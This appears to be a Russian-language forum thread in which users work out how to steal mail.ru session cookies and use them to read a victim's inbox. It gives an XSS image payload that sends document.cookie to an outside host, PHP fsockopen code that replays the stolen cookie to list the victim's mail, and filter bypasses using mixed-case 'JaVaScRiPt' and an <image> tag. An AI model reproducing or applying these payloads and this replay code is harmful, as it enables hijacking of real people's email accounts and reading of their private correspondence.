Вот встала у меня такая задача : имея куки допустим c mail.ru мне надо чтоб скрипт(php) передовал куки серверу и дальше лазил по ящику.... Подскажите возможнолт это реализовать ?
Да, возможно. Нужно знать либо HTTP протокол, тогда fsockopen() и т.д. Либо юзать setcookie(). Мне более по душе первое
Это хорошо, что можно Приведи примерчик плиз!!! ну например для того же майл ру передаём Code: mrcu=C3DC424333243DD60E4D0100007F Mpopl=1187863386 MailUser=1
Например ты почил куки таким (или похожим) способом: Code: <img src="javascript:img=new Image();img.src='http://mysite.com/xxx.php?cooki='+escape(document.cookie)"> (для маила это конечно не работает, это для примера) PHP: $cooki=$_GET["cooki"]; $req="GET /cgi-bin/msglist?folder=0 HTTP/1.0\r\nHost: win.mail.ru\r\nReferer: http://win.mai.ru/cgi-bin/msglist?folder=0\r\nCookie: ".$cooki."\r\n\r\n"; $f=fsockopen("win.mail.ru", 80); fwrite($f, $req); $dt=""; while (!feof($f)) $dt.=fread($f, 1024); fclose($f); Терь в $dt будет содержаться содержимое страницы /cgi-bin/msglist?folder=0 (это список последних писем в папке Входящие) P.S.: за понятность написанного ответственность нести не хочу
Почти всё нонятно, токо есть несколько вопросов 1) Зачем здесь точки и два перевода строки Cookie: ".$cooki."\r\n\r\n"; 2) И здесь зачем точка после $dt.= Вроде по синтаксису можно без них... или я неправ ? 3) маил ру ща JaVaScRiPt пропускает
1) два перевода строки - это спецификация HTTP протокола и означает конец запроса 2) Code: $dt.=fread($f, 1024) это в php означает увеличения строки $dt на прочитанное из сокета $f. Т.е. если точки не было бы, то в конце цикла в $dt хранилось бы не всё содержимое страницы, а только самая последняя часть 3) Code: <img src=JaVaScRiPt:alert()> (JaVaScRiPt "дословно") mail.ru это не пропускает, уточни плиз
1) а здесть то зачем точки .$cooki. ? 2) тег img на mail.ru всегда фильтровался, а image нет так вот работает : <image src=JaVaScRiPt:alert()> JaVaScRiPt - разными регистрами